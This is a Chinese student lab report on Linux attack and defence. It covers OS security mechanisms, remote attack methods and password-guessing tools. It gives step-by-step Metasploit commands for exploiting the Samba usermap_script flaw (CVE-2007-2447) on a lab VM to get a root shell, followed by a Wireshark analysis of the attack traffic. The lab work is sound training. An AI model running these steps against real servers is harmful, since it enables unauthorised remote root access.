实践七 Linux操作系统攻防
20212806 2021-2022-2 《网络攻防实践》实践七报告
1.实践内容
1.1Linux操作系统基本框架
Linux的优势:
- 代码开源
- 跨平台硬件支持
- 丰富的软件支持
- 多用户多服务
- 可靠的安全性
- 良好的稳定性
- 完善的网络功能
Linux系统结构
-
Linux操作系统内核:宏内核结构
-
进程与线程管理机制:抢占式多用户多进程模式
-
内存管理机制:允许多个进程安全地共享物理内存区域。
-
文件系统管理机制:虚拟文件管理VFS机制,支持数十种不同类型的逻辑文件系统。
-
设备控制机制:设备驱动程序处理或管理硬件控制器的软件,本质是特权的、驻留内存的低级的硬件控制例程的共享库。
-
网络机制:内核中网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。
-
系统调用机制:系统调用接口,允许应用程序透过这层接口来访问硬件设备和其他系统资源。系统调用通过软中断实现。
1.2Linux操作系统安全机制
Linux身份认证机制
- 通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全的使用Linux操作系统。
- 用户组:具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。
- 本地登录用户认证机制:最基本的用户认证机制。
- 远程登陆用户认证机制:使用SSH服务来进行远程用户登录与网路访问,SSH提供两种方式的用户认证机制:基于口令、基于非对称密钥
Linux安全审计机制
主要通过三个主要的日志子系统来实现,包括:
- 连接实践日志:由多个程序执行
- 进程统计日志:由系统内核执行
- 错误日志记录:由通用的日志记录服务syslogd(8)执行
Linux系统远程攻防技术
①远程网络入侵Linux系统的主要方法
-
对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
-
挖掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地shell的访问权。
-
通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。
-
在Linux系统作为连接多个网络的路由器,或者打开混杂模式实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
②Linux远程口令字猜测攻击
- Linux系统主要支持telnet、rlogin、rsh和SSH协议的网络远程控制,这些协议使用了Linux系统内置的用户名和口令来对远程用户进行身份认证。攻击者如果能够通过这些网络协议远程猜测成功一组用户名和口令,那么就可以用这些信息远程登录到Linux系统上,获得本地的访问权。
- 支持攻击者进行自动化的远程口令猜测工具,包括:Brutus、 THC Hydra、 Cain and Abel
③攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序
- 攻击Linux系统用户:常见的包括电子邮件、即时通信中设计一些应用社会工程学技巧的欺骗场景,来诱骗用户点击执行电子邮件附件或通过即时通信软件传输中的可执行程序或恶意文档,访问某些恶意地址,以及不经意间泄漏某些关于服务器配置的敏感信息,使得攻击者能够在服务器上获得恶意程序执行、引导客户端软件访问渗透攻击代码的机会,从而在管理员眼皮底下拿到系统的访问权。
2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
- 参数配置
设备 | IP |
---|---|
Kali(攻击机) | 192.168.1.153 |
VM_Metasploitable_ubuntu(靶机) | 192.168.1.152 |
-
使用命令:
msfconsole
启动metaspolit,使用命令:info exploit/multi/samba/usermap_script
查看相关信息
-
进入该漏洞模块的使用
-
选择模块,查看payloads,使用命令
set payload 18
选择18号模式:
-
show options
查看参数,使用命令:set RHOST 192.168.1.152
设置靶机IP;使用命令:set LHOST 192.168.1.153
设置攻击机IP
-
输入:
exploit
进行攻击,通过ifconfig
确认正确地得到shell,使用命令whoami
确认获得的权限为root
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
- 攻击方攻击过程如实验步骤(1),防守方打开wireshark进行监听
- 追踪TCP流,可以得出攻击机输入的命令
- 查看上一个TCP流量包,可以看到Shellcode
- 展开流量包具体内容,可以得到攻击时间,攻击机和靶机IP以及端口
攻击机IP是192.168.1.153端口是38013,攻击的目标端口是139,同时因为是SMB协议,通过sh执行了恶意脚本,基本上可以确定是利用了Samba上的CVE-2007-2447
漏洞
3.学习中遇到的问题及解决
- 问题1:在进行渗透攻击时,攻击方无法ping通防守方的ip
- 问题1解决方案:将kali攻击机设置成桥接模式,这样就可以让攻击机与靶机在同一网段内,以便渗透攻击的顺利进行。
4.实践总结
本次实践主要学习了Linux操作系统攻防,以及渗透攻击的攻击过程,最后通过利用CVE-2007-2447漏洞进行远程渗透攻击,深刻理解了网络攻防的一般步骤,同时还要多加强理论知识的学习,并投入大量时间去实践,才能把网络攻防技术掌握的更好。